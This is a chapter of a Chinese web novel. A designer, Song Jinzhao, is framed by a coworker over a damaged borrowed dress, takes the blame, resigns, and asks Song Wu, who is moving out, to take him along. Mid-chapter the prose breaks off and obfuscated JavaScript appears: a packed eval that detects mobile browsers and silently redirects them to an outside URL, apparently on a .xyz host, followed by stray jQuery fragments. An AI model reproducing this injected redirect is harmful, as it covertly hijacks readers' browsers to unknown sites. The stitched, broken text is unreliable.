宋今朝低垂着眼，模样似乎有些不高兴。532看向他，从一个小时前踏进公司就这样了。


    公司的气氛也不怎么好，表面上都埋着头做自己的事，实际上一个个都竖起耳朵想要听到一些爆炸的信息。


    532扫了一眼周围，又看了看沉默的宋今朝，以为是电话中所说的公司的事情让他有些不高兴，便凑过去安慰道：“没事的，这个组不止有你一个人，而且道具组那边还没有说是我们的责任，说不定就是在拍摄过程中才弄坏的。”


    532欲言又止：“你是不是病还没好全啊？”


    宋今朝轻轻地“嗯”了一声。


    他想的当然不是这件事，宋雾说要搬出去，一定是思考过后的。他们两个人只能算是萍水相逢，宋雾向他坦白过曾经被通缉的事情，后来他也去看了那则新闻，理由模糊，蓝颂公司先前也做过类似的事。


    这件事不值得放在心上。


    他自己的事情也没有透露太多出去，细细思索两人身上竟然是都藏着不能宣之于口的秘密，宋今朝垂着眼睫，神色淡淡，只是因为提的太突然，他才不太高兴的。


    宋今朝这样安慰自己。


    只是宋雾的话就像是有什么魔力般始终萦绕在心头，就连532呼唤了他好几次都没有听到。


    “宋今朝。”532见他一副心不在焉的样子，拍了他一下，“宋今朝？”


    “457和老板叫你进去。”


    “好。”宋今朝强迫自己整理心情，思绪回到公司的事情上来，眸色逐渐沉下去。


    532在电话中说《生命》道具组通知公司，借用的裙子有损毁，可能会涉及到赔付问题。


    而那条裙子正是他和457所负责的组别，因此才让他立即回公司一趟。


    电话中说不清楚，532没有多说，两个人便挂断。


    等宋今朝过来的时候457已经在和领导处理这件事。


    两个人在办公室谈了很久，宋今朝不知道他们的谈话内容，但是当他推开门的那一刻，看到457挑衅的眼神时，什么都明白了。


    “963，裙子是你负责整理后送往蓝颂的。”


    领导言简意赅，在场的三个人都心知肚明这意味着什么。


    457帮腔道：“我最初审核完是完全没有问题的。”


    “我还特地提醒过你，那两条裙子准备的时候要格外注意一下。”


    457佯装惋惜，话里话外却都在推卸责任。


    宋今朝知道457和领导这幅说法就是决定将事情都推到他的身上，他神色淡淡，漫不经心地朝457投过去一个眼神，中间是谁的陷害一目了然，他也不卑不亢：“调监控吧。”


    “不是我做的我不会承认。”


    457显然是没想到宋今朝会在这时候这么硬气，顿时有些慌。监控中很有可能会拍到自己的身影，哪怕没有拍到动手的画面，也绝对洗不清嫌疑，这样他就不能将这件事推到宋今朝身上。


    趁着还有转圜的余地，457当然不会选择轻易让人动监控。


    就在这时，领导的电话响起，他瞥了一眼457和宋今朝：“喂？”


    宋今朝手抄着口袋，一副坦然。


    他不知道监控有没有拍到，这样说只是为了看457的反应。尚且没见到群的损毁的样子，怎么就能够确定一定就是在道具组拿到裙子之前被破坏的。


    领导挂掉电话，说方才《生命》道具组已经和他联系，那边表示他们会派蓝颂的人过来谈这件事，必要时会派公司的律师顾问一同前往。


    “派律师过来！”


    “你们知道这是什么意思！”


    蓝颂不会将道具损坏的事情轻易翻篇。


    领导向他们投射过去一个凌厉的眼神，瞪着眼走出办公室。


    *


    宋雾在蓝颂人事部办理手续，几个小时前她和宋今朝提出要搬出来的事，只可惜还没说完，宋今朝就匆匆下车去了公司。


    离开的时候表情不太对，宋雾以为是公司的事情很急，便也没拦他。


    下车前宋今朝的手掌按在把手上，刘海垂下来遮住眉毛，抿着嘴唇，仿佛要说什么。


    宋雾张了张嘴正要开口询问，便闻到那股略微苦涩的药味越来越远，最终消散在空气中。


    实际上在宋今朝住院的那天宋雾就已经和老板请辞，老板嘴上说着不舍得，却连什么理由都没问，立马把工资给她结了发过来，还附赠了一个小红包。


    宋雾收到的时候非常惊讶的。老板素来是一个抠门的人，这种没有交换利益的事情，竟然也肯做了？


    人事还在录入信息，宋雾在一旁等着，打字过去逗趣。


    Sｏｎｇ：老板今天吹的什么风啊，这么大方。


    老板抬头看了眼自己的店铺，招牌明晃晃地，脸上忍不住笑容。


    老板：赚够了，全家去旅行一趟。


    宋雾瞪大眼睛，飞速打字回复他。


    Sｏｎｇ：恭喜老板，贺喜老板。


    Sｏｎｇ：一路顺风。


    老板：借你吉言。


    人事把合同递过来，上面写着明晃晃地“蓝颂”两字。


    宋雾伸手接过，认真浏览。那天38号笑而不语的样子的确没有骗人，蓝颂确实在招聘。


    那天宋今朝晕倒的突然，是一旁的汪芜和时任将他扶下楼，最终不知怎么的到了明羽手中，由明羽将宋今朝送往医院。


    宋雾在宋今朝脱离危险之后火速地投递了简历，之后的几天抽空去面试，拿到了后勤部的实习名额。


    宋雾说着她虚构出来的经历，面不惊色不改。


    她当然也知道，这个部门就是备用，哪里有需要就会调到哪里，甚至很有可能会被立即裁掉。


    但是当宋雾看到上面给出的与其他公司职员相同的优渥条件，便觉得一切都不是问题。


    先前拍摄的福利还没法，她还等着去灵泉痛快地抽卡呢！！


    “这是宿舍钥匙。”


    “目前就你一个人，后面陆续会安排其他人住进去。”


    人事递过来一个信封。


    宋雾没有伸手接，而是提出了一个请求。


    “我可以预支半个月的工资吗？”


    *


    夏江被安排来处理这件事情，她当然没有带律师过来。


    一件小事而已，根本不需要。


    她是这样认为的。


    夏江带着裙子出了电梯，一眼就看到了人群中的宋今朝。


    宋今朝穿着一身浅色的运动装，整个人有一种松松垮垮的无力感。


    那天晕倒的事情她也知道，现在看他的脸色也不怎么好，可能是病没有完全好。


    夏江把裙子从袋中拿出来，长长的丝带就不受控制地垂落在地上，裙子皱皱的，看起来的确不太美观。


    宋今朝眉心狠狠一跳。


    正是宋雾当天穿的那条。


    上面似乎残留着红酒渍，把粉色中间染成了不伦不类的暗红。


    错过了最佳的清理时间，恐怕不是那么好清除。


    他知道除此之外那条裙子还坏在哪里，如今被解开的蝴蝶结丝带和珍珠搭扣就是他那天亲手系好的。


    突然就不想知道真相了。


    宋今朝舒了一口气，嘴唇抿成一条直线。


    裙子不能让别人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430067|153436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带走。


    457一看，便推卸责任：“这裙子弄脏可跟我们没关系啊，是你们拍摄的时候弄的吧。”


    夏江正要开口说话，道具组的证据她已经带来。


    宋今朝却突然出声，打断他们的谈话。


    “是我弄的。”


    “是我……”宋今朝声音缓缓响起，带着一丝笃定和决然，“我会全额赔偿并辞职。”


    457起初只是想让他吃个瘪，没想到他突然就这么硬气，竟然说要辞职。


    领导眉头一皱，出声劝说道：“工作中有失误是难免的，你按照蓝颂的要求赔付，向他们和457道个歉就好，没让你辞职。”


    宋今朝摇摇头，态度坚决：“我会在今天下班之前做好工作交接。”


    457嘲笑一声，他也不屑于从他这里听到一句道歉，没能力的人早晚都要离开公司。


    夏江小时候和他见过，但并没有很多交集，也没有出声阻拦。


    她只是来负责处理公司的事情。


    领导和蓝颂的人一走，其他人就立即围到457旁边问他结果怎么样。


    457平时总欺负他，532自然没有兴趣凑过去，只是听几个凑热闹回来的同事继续和身边的人八卦道：“没想到他是这样的人啊。”


    “诶，不过你们说他真的赔得起那条裙子吗？”


    “灵泉的服装虽然贵，也不至于买不起吧。”


    “那你可真是小瞧了，那条可是经典款，我要是去买估计要半年的工资，一口气送去好几百抽。”


    “担心他做什么，因为嫉妒毁掉设计可是我们这一行业的大忌，何况在公司也呆了几年，不至于连这个钱都拿不出来吧……”


    532越听眉头皱得越紧，不知道这些人说的到底是谁。


    忽然有一个人提到了“963”，他几乎是从椅子上弹起来：“你说要辞职的是谁？！”


    “963啊，全公司都知道他做的事情了。”


    说完还略带好心地看了532一眼：“你还是离他远点吧，哪天自己被卖了都不知道。”


    怎么可能是他？


    “不用你管！”532怒气冲冲地回道，立马手头的工作都不做了，远离那些不明是非的人，跑到宋今朝的工作间问情况。


    工作间像是突然人去楼空一样，宋今朝低着头整理自己的东西，桌上除了他平时做的那些小玩偶，竟然没有什么其他是想要带走的。


    看到532进来，抬头给了他一个浅浅的微笑，里面尽是无奈。


    532见到他沉默的样子之后突然就熄火了。


    “宋今朝，我相信你。”


    “我相信那些不是你做的。”


    月亮清冷的光芒落在脚边，宋今朝走在晚霞路上，一路上听着树叶沙沙作响的声音，缓慢地踱步到家。


    宋雾边清理边收拾，还没来得及和回来之后就跟在她身边不置一词的宋今朝讲话。


    宋今朝跟在后面，帮着一起整理，找出她需要的工具，却始终垂着眼眸，一副黯淡的神色。


    他的心像是重重地落在地上，触到粗糙的石头，一下子弹起又落下，反反复复。


    “好像没有其他东西要带了。”宋雾挪开箱子，她的东西竟然少得一个箱子就能装下。


    宋今朝送给她的那个兔子玩偶还在包上挂着，随着她的动作晃来晃去。


    宋今朝突然涌上一股失落，望向她的眼中盛满了不舍。


    “把我带走吧。”


    “我跟你走。”


    一瞬间宋雾似乎又看到了那个雨夜淋湿的小狗。


    “宋今朝，你今天遇到什么不开心的事情了吗？”